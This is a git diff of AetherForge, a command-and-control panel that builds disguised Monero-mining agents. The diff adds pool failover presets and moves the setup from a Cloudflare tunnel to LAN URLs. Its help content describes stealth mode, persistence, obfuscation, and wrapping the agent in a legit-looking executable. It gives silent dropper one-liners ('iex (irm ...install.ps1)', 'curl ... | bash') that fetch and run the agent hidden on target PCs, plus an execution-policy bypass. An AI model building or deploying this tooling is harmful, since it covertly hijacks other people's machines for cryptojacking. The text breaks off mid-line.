diff --git a/LAUNCH.bat b/LAUNCH.bat index 21b4e28..402fc6b 100644 --- a/LAUNCH.bat +++ b/LAUNCH.bat @@ -135,28 +135,20 @@ set "GOENV=off" :: ---------------------------------------------------------------- :: 3. Install optional Forge tools if missing (non-fatal) :: ---------------------------------------------------------------- -if /i "%AF_INSTALL_TOOLS%"=="1" ( +if /i not "%AF_INSTALL_TOOLS%"=="0" ( if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" ( - echo [Tools] Installing garble - obfuscation support... + echo [Tools] Installing garble... "%GO_BIN%" install mvdan.cc/garble@latest - if errorlevel 1 ( - echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped. - ) else ( - echo [Tools] garble ready. - ) + if errorlevel 1 echo [Tools] WARN: garble install failed. ) if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" ( - echo [Tools] Installing go-winres - Windows icon disguise... + echo [Tools] Installing go-winres... "%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1 - if errorlevel 1 ( - echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped. - ) else ( - echo [Tools] go-winres ready. - ) + if errorlevel 1 echo [Tools] WARN: go-winres install failed. ) ) else ( - echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install. + echo [Tools] Auto-install disabled (AF_INSTALL_TOOLS=0). ) :: ---------------------------------------------------------------- diff --git a/mining pools to use.txt b/mining pools to use.txt index 7170a30..90e9f5d 100644 --- a/mining pools to use.txt +++ b/mining pools to use.txt @@ -1,5 +1,21 @@ -tls: gulf.moneroocean.stream 20004 +Monero pool presets (wallet address only — no account registration) -tls xmr-us-west1.nanopool.org 10343 +MoneroOcean + TLS: gulf.moneroocean.stream:20128 + Plain: gulf.moneroocean.stream:10128 -non-tls xmr-us-west1.nanopool.org 10300 \ No newline at end of file +SupportXMR + TLS: pool.supportxmr.com:443 + Plain: pool.supportxmr.com:3333 + +HeroMiners + TLS: xmr.herominers.com:1120 + Plain: xmr.herominers.com:1111 + +2Miners + Plain: xmr.2miners.com:2222 + +XMRPool.eu + Plain: pool.xmrpool.eu:3333 + +In AetherForge Calibrate and Forge: check one or more presets; the first reachable pool is used, then failover rotates through the rest. diff --git a/pack-usb.bat b/pack-usb.bat index 683807d..0c6b0ef 100644 --- a/pack-usb.bat +++ b/pack-usb.bat @@ -166,7 +166,14 @@ if not exist "%USB%\data\blueprints" mkdir "%USB%\data\blueprints" if not exist "%USB%\data\preps" mkdir "%USB%\data\preps" if not exist "%USB%\data\spread-kits" mkdir "%USB%\data\spread-kits" if not exist "%USB%\data\uploads" mkdir "%USB%\data\uploads" -echo [7/8] data\ ready - existing config and db preserved. +if not exist "%USB%\data\config.json" ( + echo [7/8] Writing starter config.json... + powershell -NoProfile -Command ^ + "$j = @{ port = 8989; data_dir = 'data'; pool = @{ host = 'pool.supportxmr.com'; port = 443; use_tls = $true; password = 'x'; backup_pools = @(@{ host = 'gulf.moneroocean.stream'; port = 20128; use_tls = $true }, @{ host = 'xmr.herominers.com'; port = 1120; use_tls = $true }) }; wallet = @{ address = ''; payment_id = '' }; server = @{ public_url = ''; open_firewall_on_start = $true } }; $j | ConvertTo-Json -Depth 6 | Set-Content -LiteralPath '%USB%\data\config.json' -Encoding utf8" + echo [7/8] Starter config.json created ^(empty wallet, TLS pool presets^). +) else ( + echo [7/8] data\ ready - existing config and db preserved. +) :: ---------------------------------------------------------------- :: Summary diff --git a/server/config.go b/server/config.go index 1849d55..7e6a402 100644 --- a/server/config.go +++ b/server/config.go @@ -48,11 +48,19 @@ type ServerSettings struct { FleetSecret string `json:"fleet_secret"` } +// PoolEndpoint is a Stratum upstream used after the primary pool fails. +type PoolEndpoint struct { + Host string `json:"host"` + Port int `json:"port"` + UseTLS bool `json:"use_tls"` +} + type PoolConfig struct { - Host string `json:"host"` - Port int `json:"port"` - UseTLS bool `json:"use_tls"` - Password string `json:"password"` + Host string `json:"host"` + Port int `json:"port"` + UseTLS bool `json:"use_tls"` + Password string `json:"password"` + BackupPools []PoolEndpoint `json:"backup_pools,omitempty"` } type WalletConfig struct { @@ -111,9 +119,13 @@ func DefaultConfig() *Config { DataDir: "data", Pool: PoolConfig{ Host: "pool.supportxmr.com", - Port: 3333, + Port: 443, UseTLS: true, Password: "x", + BackupPools: []PoolEndpoint{ + {Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true}, + {Host: "xmr.herominers.com", Port: 1120, UseTLS: true}, + }, }, Wallet: WalletConfig{ Address: "", @@ -152,7 +164,7 @@ func DefaultConfig() *Config { RejectionRateThresholdPct: 5, }, Server: ServerSettings{ - PublicURL: "https://killa.thetempleofdoom.com", + PublicURL: "", StatsRetentionHours: 168, BuildRetentionDays: 30, PoolReconnectSeconds: 30, @@ -219,6 +231,9 @@ func mergeConfig(dst, src *Config) { if src.Pool.Password != "" { dst.Pool.Password = src.Pool.Password } + if len(src.Pool.BackupPools) > 0 { + dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...) + } if src.Wallet.Address != "" { dst.Wallet.Address = src.Wallet.Address } @@ -420,6 +435,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(poolKeys, "password") && src.Pool.Password != "" { dst.Pool.Password = src.Pool.Password } + if in(poolKeys, "backup_pools") { + dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...) + } } if has("wallet") { @@ -555,7 +573,7 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if has("server") { srvKeys := nestedJSONKeys(present, "server") - if in(srvKeys, "public_url") && src.Server.PublicURL != "" { + if in(srvKeys, "public_url") { dst.Server.PublicURL = src.Server.PublicURL } if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 { diff --git a/server/config_test.go b/server/config_test.go index 06419de..225d081 100644 --- a/server/config_test.go +++ b/server/config_test.go @@ -32,9 +32,15 @@ func TestDefaultConfigServerDefaults(t *testing.T) { if cfg.Port != 8989 { t.Fatalf("port default: got %d", cfg.Port) } - if cfg.Pool.Host != "pool.supportxmr.com" || !cfg.Pool.UseTLS { + if cfg.Pool.Host != "pool.supportxmr.com" || cfg.Pool.Port != 443 || !cfg.Pool.UseTLS { t.Fatalf("pool defaults wrong: %+v", cfg.Pool) } + if len(cfg.Pool.BackupPools) < 2 { + t.Fatalf("expected TLS backup pools, got %+v", cfg.Pool.BackupPools) + } + if cfg.Server.PublicURL != "" { + t.Fatalf("public_url should default empty, got %q", cfg.Server.PublicURL) + } if cfg.Server.StatsRetentionHours != 168 { t.Fatalf("stats retention default: got %d", cfg.Server.StatsRetentionHours) } @@ -83,6 +89,17 @@ func TestMergeConfigExplicitNestedServerPartialPreservesBooleans(t *testing.T) { } } +func TestMergeConfigExplicitAllowsBlankPublicURL(t *testing.T) { + dst := DefaultConfig() + dst.Server.PublicURL = "https://stale.example.com" + + applyMergeFromJSON(t, dst, `{"server":{"public_url":""}}`) + + if dst.Server.PublicURL != "" { + t.Fatalf("explicit blank public_url must clear old value, got %q", dst.Server.PublicURL) + } +} + func TestMergeConfigExplicitNestedPoolPartialPreservesUseTLS(t *testing.T) { dst := DefaultConfig() dst.Pool.UseTLS = true @@ -342,7 +359,7 @@ func TestLoadConfigExplicitOpenFirewallFalse(t *testing.T) { func TestPoolURLTLS(t *testing.T) { cfg := DefaultConfig() got := cfg.PoolURL() - want := "stratum+ssl://pool.supportxmr.com:3333" + want := "stratum+ssl://pool.supportxmr.com:443" if got != want { t.Fatalf("PoolURL TLS: got %q want %q", got, want) } @@ -351,6 +368,7 @@ func TestPoolURLTLS(t *testing.T) { func TestPoolURLPlainTCP(t *testing.T) { cfg := DefaultConfig() cfg.Pool.UseTLS = false + cfg.Pool.Port = 3333 got := cfg.PoolURL() want := "stratum+tcp://pool.supportxmr.com:3333" if got != want { diff --git a/server/main.go b/server/main.go index b922fad..3d8c059 100644 --- a/server/main.go +++ b/server/main.go @@ -155,6 +155,7 @@ func main() { Password: cfg.Pool.Password, PaymentID: cfg.Wallet.PaymentID, } + defaultPoolBackups := poolConfigsFromEndpoints(cfg.Pool.BackupPools, cfg) // Initialize Stratum pool manager (connections keyed by forged pool + wallet) poolManager := pool.NewManager( @@ -189,7 +190,7 @@ func main() { // Pre-connect default upstream pool from server config (Forge defaults seed from here) go func() { - if _, err := poolManager.EnsurePool(&defaultPoolCfg); err != nil { + if _, err := poolManager.EnsurePoolWithBackups(&defaultPoolCfg, defaultPoolBackups); err != nil { log.Printf("[Pool] Failed to connect default pool (will retry on agent auth): %v", err) } }() @@ -257,6 +258,24 @@ func main() { } } +func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config { + out := make([]pool.Config, 0, len(eps)) + for _, ep := range eps { + if ep.Host == "" || ep.Port <= 0 { + continue + } + out = append(out, pool.Config{ + Host: ep.Host, + Port: ep.Port, + UseTLS: ep.UseTLS, + Wallet: cfg.Wallet.Address, + Password: cfg.Pool.Password, + PaymentID: cfg.Wallet.PaymentID, + }) + } + return out +} + func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager, builderHandler *builder.Handler) { if wsHub != nil { wsHub.SetPingInterval(cfg.Server.WebSocketPingSeconds) diff --git a/server/web/src/components/PoolPresetPicker.css b/server/web/src/components/PoolPresetPicker.css new file mode 100644 index 0000000..2929947 --- /dev/null +++ b/server/web/src/components/PoolPresetPicker.css @@ -0,0 +1,70 @@ +.pool-preset-picker { + display: flex; + flex-direction: column; + gap: 0.75rem; +} + +.pool-preset-hint { + margin: 0; +} + +.pool-preset-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); + gap: 0.65rem 1rem; +} + +.pool-preset-group { + display: flex; + flex-direction: column; + gap: 0.35rem; + padding: 0.5rem 0.65rem; + border: 1px solid var(--border-dim, rgba(0, 255, 200, 0.15)); + border-radius: 6px; + background: rgba(0, 0, 0, 0.2); +} + +.pool-preset-provider { + font-size: 0.75rem; + letter-spacing: 0.06em; + color: var(--neon-cyan, #0ff); + margin-bottom: 0.15rem; +} + +.pool-preset-option { + font-size: 0.85rem; + align-items: flex-start; +} + +.pool-preset-sub { + opacity: 0.65; + font-size: 0.78rem; +} + +.pool-preset-custom-fields { + margin-top: 0.5rem; + flex-wrap: wrap; + gap: 0.5rem; +} + +.pool-preset-custom-fields .input.mono { + flex: 2 1 160px; +} + +.pool-preset-order { + font-size: 0.82rem; + padding: 0.5rem 0.65rem; + border-left: 3px solid var(--neon-cyan, #0ff); + background: rgba(0, 40, 50, 0.25); +} + +.pool-preset-order ol { + margin: 0.35rem 0 0; + padding-left: 1.25rem; +} + +.pool-preset-manual { + margin-top: 0.5rem; + padding-top: 0.75rem; + border-top: 1px dashed var(--border-dim, rgba(255, 255, 255, 0.12)); +} diff --git a/server/web/src/components/PoolPresetPicker.tsx b/server/web/src/components/PoolPresetPicker.tsx new file mode 100644 index 0000000..c54937f --- /dev/null +++ b/server/web/src/components/PoolPresetPicker.tsx @@ -0,0 +1,244 @@ +import { useEffect, useMemo, useState } from 'react'; +import type { BackupPool } from '../types'; +import { + XMR_POOL_PRESETS, + DEFAULT_PRESET_IDS, + orderedPoolsFromSelection, + detectPresetIds, + detectCustomEndpoint, + applyPoolsToForgeFields, + type PoolForgeFields, +} from '../help/poolPresets'; +import './PoolPresetPicker.css'; + +interface PoolPresetPickerProps { + host: string; + port: number; + tls: boolean; + pass: string; + backups?: BackupPool[]; + onChange: (next: PoolForgeFields) => void; + /** Show manual host/port fields below presets (Forge advanced). */ + showManualFields?: boolean; +} + +export default function PoolPresetPicker({ + host, + port, + tls, + pass, + backups = [], + onChange, + showManualFields = false, +}: PoolPresetPickerProps) { + const [selectedIds, setSelectedIds] = useState(() => { + const detected = detectPresetIds(host, port, tls, backups); + return detected.length ? detected : [...DEFAULT_PRESET_IDS]; + }); + const customDetected = detectCustomEndpoint(host, port, tls, backups); + const [useCustom, setUseCustom] = useState(!!customDetected); + const [customHost, setCustomHost] = useState(customDetected?.host ?? ''); + const [customPort, setCustomPort] = useState(customDetected?.port ?? 3333); + const [customTls, setCustomTls] = useState(customDetected?.tls ?? false); + + useEffect(() => { + const detected = detectPresetIds(host, port, tls, backups); + if (detected.length) setSelectedIds(detected); + const c = detectCustomEndpoint(host, port, tls, backups); + if (c) { + setUseCustom(true); + setCustomHost(c.host); + setCustomPort(c.port); + setCustomTls(c.tls); + } + }, [host, port, tls, backups]); + + const orderedPreview = useMemo(() => { + const custom: BackupPool | null = useCustom && customHost.trim() + ? { host: customHost.trim(), port: customPort || 3333, tls: customTls, pass: pass || 'x' } + : null; + return orderedPoolsFromSelection(selectedIds, pass || 'x', custom); + }, [selectedIds, pass, useCustom, customHost, customPort, customTls]); + + const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => { + const custom: BackupPool | null = + customOn && cHost.trim() + ? { host: cHost.trim(), port: cPort || 3333, tls: cTls, pass: pass || 'x' } + : null; + const pools = orderedPoolsFromSelection(ids, pass || 'x', custom); + onChange(applyPoolsToForgeFields(pools)); + }; + + const togglePreset = (id: string) => { + const next = selectedIds.includes(id) + ? selectedIds.filter((x) => x !== id) + : [...selectedIds, id]; + if (!next.length) return; + setSelectedIds(next); + applySelection(next, useCustom, customHost, customPort, customTls); + }; + + const grouped = useMemo(() => { + const map = new Map(); + for (const p of XMR_POOL_PRESETS) { + const list = map.get(p.provider) ?? []; + list.push(p); + map.set(p.provider, list); + } + return [...map.entries()]; + }, []); + + return ( +
+

+ Check one or more pools. The control server and forged miners try each in order and use the first + reachable endpoint (round-robin failover). Wallet address only — no pool account needed. +

+
+ {grouped.map(([provider, presets]) => ( +
+ {provider} + {presets.map((p) => ( + + ))} +
+ ))} +
+ +
+ + {useCustom && ( +
+ { + setCustomHost(e.target.value); + applySelection(selectedIds, true, e.target.value, customPort, customTls); + }} + /> + { + const v = e.target.valueAsNumber || 3333; + setCustomPort(v); + applySelection(selectedIds, true, customHost, v, customTls); + }} + /> + +
+ )} +
+ + {orderedPreview.length > 0 && ( +
+ Failover order +
    + {orderedPreview.map((p, i) => ( +
  1. + {i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port} + {p.tls ? ' (TLS)' : ''} +
  2. + ))} +
+
+ )} + + {showManualFields && ( +
+
+ + + onChange({ + pool_host: e.target.value, + pool_port: port, + pool_tls: tls, + backup_pools: backups, + }) + } + /> +
+
+ + + onChange({ + pool_host: host, + pool_port: e.target.valueAsNumber || 3333, + pool_tls: tls, + backup_pools: backups, + }) + } + /> +
+ +
+ )} +
+ ); +} diff --git a/server/web/src/components/SessionGate.tsx b/server/web/src/components/SessionGate.tsx index a53c4ab..c46f3cc 100644 --- a/server/web/src/components/SessionGate.tsx +++ b/server/web/src/components/SessionGate.tsx @@ -57,6 +57,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {

AetherForge

Sign in to open the command deck.

+

+ First run: password is in the LAUNCH console or data\login-credentials.json next to the server data folder. +

setUser(e.target.value)} autoComplete="username" /> diff --git a/server/web/src/components/SetupBanner.tsx b/server/web/src/components/SetupBanner.tsx new file mode 100644 index 0000000..18c51bb --- /dev/null +++ b/server/web/src/components/SetupBanner.tsx @@ -0,0 +1,21 @@ +import { Link } from 'react-router-dom'; +import NeonCard from './NeonCard/NeonCard'; +import type { SetupStatus } from '../help/setupStatus'; + +export default function SetupBanner({ status }: { status: SetupStatus }) { + if (!status.needsCalibration) return null; + return ( + +

SETUP INCOMPLETE

+
    + {status.reasons.map((r) => ( +
  • {r}
  • + ))} +
+

Finish one-time calibration so Forge and the pool relay use your wallet and LAN URL.

+ + Open Calibrate → + +
+ ); +} diff --git a/server/web/src/help/cheatSheetContent.test.ts b/server/web/src/help/cheatSheetContent.test.ts index f615742..e19bffc 100644 --- a/server/web/src/help/cheatSheetContent.test.ts +++ b/server/web/src/help/cheatSheetContent.test.ts @@ -90,9 +90,9 @@ describe('FORGE_VS_CALIBRATE', () => { }); describe('NETWORK_GUIDE', () => { - it('has five network topology steps with unique ids', () => { - expect(NETWORK_GUIDE).toHaveLength(5); - expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4', 'n5']); + it('has four LAN network steps with unique ids', () => { + expect(NETWORK_GUIDE).toHaveLength(4); + expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4']); assertSteps(NETWORK_GUIDE); }); }); @@ -163,7 +163,7 @@ describe('ROADMAP_FEATURES', () => { describe('CHEAT_SECTIONS', () => { const expectedSections = [ { id: 'pipeline', title: 'End-to-end pipeline' }, - { id: 'network', title: 'Network topology — Cloudflare tunnel setup' }, + { id: 'network', title: 'Network topology — LAN + USB' }, { id: 'fusion', title: 'Fusion workflow' }, { id: 'ai', title: 'AI Autonomy workflow' }, { id: 'troubleshoot', title: 'Troubleshooting' }, diff --git a/server/web/src/help/cheatSheetContent.ts b/server/web/src/help/cheatSheetContent.ts index f6011d1..d684f8f 100644 --- a/server/web/src/help/cheatSheetContent.ts +++ b/server/web/src/help/cheatSheetContent.ts @@ -32,8 +32,8 @@ export const PIPELINE_STEPS: CheatStep[] = [ route: '/settings', routeLabel: 'Open Calibrate', tips: [ - 'Port default is 8080 — change if conflicting', - 'Leave Public URL blank when behind Cloudflare (server binds 0.0.0.0:PORT, CF handles external)', + 'Port default is 8989 — change if conflicting', + 'Set Public URL to your LAN address (Use detected LAN in Calibrate) so Forge pre-fills worker C2 URLs', 'Set a default wallet address here so every new Forge form pre-fills it', 'Build retention: how many days old builds stay on disk before auto-purge', ], @@ -43,12 +43,12 @@ export const PIPELINE_STEPS: CheatStep[] = [ title: 'Forge', subtitle: 'Build a worker binary', icon: '⚒', - body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your C2 URL (e.g. your Cloudflare tunnel), wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.', + body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your LAN control URL, wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.', route: '/forge', routeLabel: 'Open Forge', tips: [ - 'C2 URL example: https://your-tunnel.trycloudflare.com (no trailing slash)', - 'For LAN-only: http://192.168.1.50:8080', + 'C2 URL example: http://192.168.1.50:8989 (LAN IP — not localhost)', + 'Use Calibrate → Use best defaults for TLS pool presets + detected LAN URL', 'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it', 'Save a Blueprint after tuning so you can one-click re-forge the same config later', 'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app', @@ -77,13 +77,13 @@ export const PIPELINE_STEPS: CheatStep[] = [ icon: '📡', body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.', tips: [ - 'Windows (PowerShell): iex (irm \'https://your-tunnel.trycloudflare.com/install.ps1\')', - 'Linux/Mac (bash): curl -sL https://your-tunnel.trycloudflare.com/install.sh | bash', - 'Direct download: https://your-tunnel.trycloudflare.com/get?os=windows', + 'Windows (PowerShell): iex (irm \'http://192.168.1.50:8989/install.ps1\')', + 'Linux/Mac (bash): curl -sL http://192.168.1.50:8989/install.sh | bash', + 'Direct download: http://192.168.1.50:8989/get?os=windows', 'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate', 'Pin the correct build in Build Manager before sending the one-liner', ], - code: `iex (irm 'https://YOUR-TUNNEL.trycloudflare.com/install.ps1')`, + code: `iex (irm 'http://192.168.1.50:8989/install.ps1')`, }, { id: 'connect', @@ -98,7 +98,7 @@ export const PIPELINE_STEPS: CheatStep[] = [ 'Remote action buttons are disabled when the agent is offline — by design', 'Agent logs: use Fetch Log (get_log) in Remote Control, or AI upload_log tool reports — no separate log-ingest API', 'If agent never appears: check C2 URL is reachable from the target machine', - 'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL', + 'Agents must reach your LAN control URL — test from the target PC in a browser', 'Worker name you set in Forge shows as the agent name in the roster', ], }, @@ -125,7 +125,7 @@ export const FORGE_VS_CALIBRATE = { forge: { title: 'Forge — baked into each binary', items: [ - 'C2 server URL (e.g. Cloudflare tunnel)', + 'C2 server URL (LAN http://IP:8989)', 'Wallet address & payment ID', 'Pool host, port, TLS on/off, pool password', 'Worker name (shows in Fleet Roster)', @@ -147,7 +147,7 @@ export const FORGE_VS_CALIBRATE = { calibrate: { title: 'Calibrate — control server only', items: [ - 'Listen port (default 8080)', + 'Listen port (default 8989)', 'Data directory path', 'Dashboard subtitle (cosmetic)', 'Default pool/wallet shown in new Forge forms', @@ -163,21 +163,20 @@ export const FORGE_VS_CALIBRATE = { }, }; -// ─── Network / Cloudflare topology ──────────────────────────────────────────── +// ─── Network / LAN topology ─────────────────────────────────────────────────── export const NETWORK_GUIDE: CheatStep[] = [ { id: 'n1', - title: 'Portable self-configuring tunnel', - subtitle: 'Bundled into LAUNCH.bat', + title: 'Portable control deck', + subtitle: 'LAUNCH.bat', icon: '🚀', - body: 'LAUNCH.bat detects and auto-installs cloudflared from the bundled MSI, writes a fresh config.yml every boot (handles drive-letter changes), stages credentials to the local machine, then starts the tunnel. Fully portable — plug into any machine and the tunnel comes up automatically.', + body: 'LAUNCH.bat starts AetherForge.exe on 0.0.0.0:8989, opens the dashboard at localhost, and installs garble/go-winres into the portable toolchain when missing (for Forge on the USB PC).', tips: [ - 'One-time setup only: see cloudflare/SETUP.txt to create your tunnel and export credentials', - 'After setup: drop credentials.json in the cloudflare/ folder — everything else is automatic', - 'Same machine: reuses existing credentials and skips re-copy (idempotent)', - 'cloudflared always connects to 127.0.0.1:8989 (localhost) — no IP detection needed', - 'On exit: LAUNCH.bat kills the cloudflared process cleanly', + 'Dashboard on this PC: http://localhost:8989', + 'Workers on other PCs need your LAN IP, not localhost', + 'First login: credentials print in the LAUNCH window or data\\login-credentials.json', + 'Run pack-usb.bat from the repo to refresh the portable bundle', ], }, { @@ -185,69 +184,48 @@ export const NETWORK_GUIDE: CheatStep[] = [ title: 'C2 server binding', subtitle: '0.0.0.0:8989', icon: '🖥', - body: 'AetherForge binds to all interfaces on port 8989. It does not know or care about Cloudflare — cloudflared connects to it at 127.0.0.1:8989. The server never needs to be publicly exposed directly.', + body: 'AetherForge binds to all interfaces on port 8989. Calibrate stores your LAN URL so Forge and dropper one-liners use the right address for workers on your network.', tips: [ - 'Leave Public URL blank in Calibrate — not needed', - 'Dashboard LAN access: http://:8989', - 'Dashboard public access: https://killa.thetempleofdoom.com (via tunnel)', - 'LAN and tunnel both work simultaneously', + 'Calibrate → Use detected LAN → Save Calibration', + 'Dashboard on LAN: http://:8989', + 'Open firewall on start (Calibrate) helps workers reach the deck', ], }, { id: 'n3', - title: 'Named tunnel — permanent hostname', - subtitle: 'killa.thetempleofdoom.com', - icon: '☁', - body: 'The tunnel is a named Cloudflare tunnel (not a quick/temporary tunnel). The subdomain killa.thetempleofdoom.com is a CNAME to your fixed tunnel ID — it never changes regardless of which machine you run from.', + title: 'Forge C2 URL', + subtitle: 'Bake LAN endpoint', + icon: '🔗', + body: 'Set Control Endpoint in Forge to your Calibrate public URL (LAN). Smart defaults also fill backup C2 URLs from other detected LAN IPs on this host.', tips: [ - 'Tunnel credentials JSON = portable "license" for the tunnel', - 'Any machine with that JSON + cloudflared can run the tunnel', - 'DNS CNAME: killa → .cfargotunnel.com (set once in CF DNS)', - 'Tunnel ID is in the credentials.json — LAUNCH.bat parses it automatically', + 'Example: http://192.168.1.50:8989', + 'Never use localhost — workers cannot reach it', + 'Backup C2 URLs: other LAN IPs on the same control PC (auto-filled)', + 'Agents try primary then backup C2s if unreachable', ], - code: `# One-time setup (run once on any machine): -cloudflared tunnel login -cloudflared tunnel create aetherforge-c2 -cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com - -# Then copy credentials to USB: -copy %USERPROFILE%\\.cloudflared\\.json cloudflare\\credentials.json`, + code: `Control Endpoint: http://192.168.1.50:8989 +Backup C2 (optional): http://192.168.1.51:8989`, }, { id: 'n4', - title: 'Forge C2 URL', - subtitle: 'Bake the permanent hostname', - icon: '🔗', - body: 'Set Control Endpoint in Forge to your permanent Cloudflare hostname. Baked into every agent — they connect from any network, any country, through the tunnel to your C2.', - tips: [ - 'Control Endpoint: https://killa.thetempleofdoom.com', - 'No port, no trailing slash', - 'Backup C2 field: add http://192.168.x.x:8989 as LAN fallback', - 'Agents try all C2s in order if one is unreachable', - ], - code: `Control Endpoint: https://killa.thetempleofdoom.com -Backup C2 (optional): http://192.168.1.50:8989`, - }, - { - id: 'n5', title: 'Dropper one-liners', - subtitle: 'Permanent URLs — no more temp tunnels', + subtitle: 'LAN scripts (+ optional tunnel)', icon: '💧', - body: 'With a named tunnel and permanent hostname, your dropper one-liners never change. Pin a build in Build Manager then send one of these to any machine.', + body: 'Pin a build in Build Manager, then use your LAN URL below. If you later run an external tunnel on another machine, point it to this host and replace the URL host in these commands.', tips: [ - 'The PS1 dropper is fully silent — downloads, runs agent hidden, closes terminal', - '/get?os=windows — direct binary, auto-detected OS if no ?os= param', - 'Endpoints are unauthenticated — the URL is the gate', + 'PS1 dropper is silent — downloads, runs agent, closes terminal', + '/get?os=windows — direct binary download', 'Dashboard requires login — dropper does not', + 'Optional: external tunnel machine forwards to this PC on port 8989', ], - code: `# Windows (any PowerShell): -iex (irm 'https://killa.thetempleofdoom.com/install.ps1') + code: `# Windows (PowerShell): +iex (irm 'http://192.168.1.50:8989/install.ps1') # Linux / macOS: -curl -sL https://killa.thetempleofdoom.com/install.sh | bash +curl -sL http://192.168.1.50:8989/install.sh | bash # Direct binary: -https://killa.thetempleofdoom.com/get`, +http://192.168.1.50:8989/get`, }, ]; @@ -351,11 +329,11 @@ ollama run llama3.2`, export const TROUBLESHOOTING = [ { problem: 'Agent never appears in Fleet Roster', - fix: 'The C2 URL baked into the agent must be reachable from the target machine. If using Cloudflare tunnel: tunnel must be running on its machine and pointing at your C2 LAN IP. Test: open https://your-tunnel.trycloudflare.com in a browser on the target machine — you should see the dashboard login.', + fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.', }, { problem: 'Forge blocked — server_url error', - fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (worker cannot reach those). Use your LAN IP (192.168.x.x:PORT) or your Cloudflare tunnel URL. The port appends automatically for LAN IPs — use the tunnel URL to avoid that.', + fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (workers cannot reach those). Use your LAN IP with port 8989, e.g. http://192.168.1.50:8989. Calibrate → Use detected LAN fills this for you.', }, { problem: '0 hashrate / shares never appear', @@ -379,7 +357,7 @@ export const TROUBLESHOOTING = [ }, { problem: 'PS1 dropper does nothing / errors', - fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'. Also ensure your Cloudflare tunnel is running and the pinned build exists in Build Manager.', + fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'). Ensure the control server is running, the LAN URL is reachable from that PC, and the pinned build exists in Build Manager.', }, { problem: 'Forge hangs / Kill Build button', @@ -433,8 +411,8 @@ export const CHEAT_SECTIONS: CheatSection[] = [ }, { id: 'network', - title: 'Network topology — Cloudflare tunnel setup', - description: 'AetherForge binds to 0.0.0.0:PORT. Cloudflare Tunnel runs on a separate machine and makes it reachable from anywhere — no port forwarding, no static IP.', + title: 'Network topology — LAN + USB', + description: 'AetherForge runs locally at localhost:8989 and binds 0.0.0.0:8989 for LAN workers. Optional external tunneling can be added on another machine later without changing local USB workflow.', steps: NETWORK_GUIDE, }, { diff --git a/server/web/src/help/forgeDefaults.test.ts b/server/web/src/help/forgeDefaults.test.ts index 4049a01..9ba6960 100644 --- a/server/web/src/help/forgeDefaults.test.ts +++ b/server/web/src/help/forgeDefaults.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { FORGE_BUILD_DEFAULTS, DEFAULT_PUBLIC_TUNNEL, forgeDefaultsFromServer } from './forgeDefaults'; +import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults'; import { mockServerConfig, mockServerInfo } from '../test/fixtures'; describe('FORGE_BUILD_DEFAULTS', () => { @@ -47,12 +47,12 @@ describe('forgeDefaultsFromServer', () => { expect(result.server_url).toBe('https://tunnel.example.com'); }); - it('falls back to baked tunnel URL when public_url is blank', () => { + it('falls back to suggested LAN URL when public_url is blank', () => { const config = mockServerConfig({ server: { public_url: ' ' }, }); const result = forgeDefaultsFromServer(config, mockServerInfo); - expect(result.server_url).toBe(DEFAULT_PUBLIC_TUNNEL); + expect(result.server_url).toBe(mockServerInfo.suggested_url); }); it('reflects obfuscate and sign defaults from server config', () => { diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index c2fa257..f692845 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -1,8 +1,5 @@ import type { BuildRequest, ServerConfig, ServerInfo } from '../types'; -/** Baked Cloudflare tunnel — used when Calibrate public_url is blank. */ -export const DEFAULT_PUBLIC_TUNNEL = 'https://killa.thetempleofdoom.com'; - /** Defaults for a new forge build — not stored in Calibrate. */ export const FORGE_BUILD_DEFAULTS: Omit< BuildRequest, @@ -65,12 +62,18 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server return { ...FORGE_BUILD_DEFAULTS, worker_name: '', - server_url: publicUrl || DEFAULT_PUBLIC_TUNNEL || 